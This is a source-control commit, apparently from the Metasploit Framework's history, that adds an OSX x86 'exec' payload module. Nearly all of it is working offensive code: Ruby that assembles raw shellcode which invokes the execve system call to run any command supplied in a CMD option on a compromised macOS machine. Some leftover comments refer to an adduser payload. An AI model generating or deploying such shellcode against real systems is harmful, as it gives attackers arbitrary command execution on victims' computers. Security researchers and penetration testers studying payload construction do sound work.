Fixes #188. This adds an exec stage to the OSX payloads

git-svn-id: file:///home/svn/framework3/trunk@5405 4d416f70-5f16-0410-b530-b9f4589650da

modules/payloads/singles/osx/x86/exec.rb

@@ -0,0 +1,65 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+module Msf
+module Payloads
+module Singles
+module Osx
+module X86
+
+###
+#
+# Exec
+# ----
+#
+# Executes an arbitrary command.
+#
+###
+module Exec
+
+	include Msf::Payload::Single
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'OSX Execute Command',
+			'Version'       => '$Revision$',
+			'Description'   => 'Execute an arbitrary command',
+			'Author'        => 'snagg <snagg[at]openssl.it>',
+			'License'       => BSD_LICENSE,
+			'Platform'      => 'osx',
+			'Arch'          => ARCH_X86))
+
+		# Register adduser options
+		register_options(
+			[
+				OptString.new('CMD',  [ true,  "The command string to execute" ]),
+			], Msf::Payloads::Singles::Osx::X86::Exec)
+	end
+
+	#
+	# Dynamically builds the adduser payload based on the user's options.
+	#
+	def generate
+		cmd     = datastore['CMD'] || ''
+		payload =
+			"\x31\xc0\x50"+ 
+			Rex::Arch::X86.call(cmd.length + 1) + cmd +
+			"\x00\x5e\x89\xe7\xb9\x1e\x00" +
+			"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
+			"\x50\x53\xb0\x3b\x50\xcd\x80"
+	end
+
+end
+
+end end end end end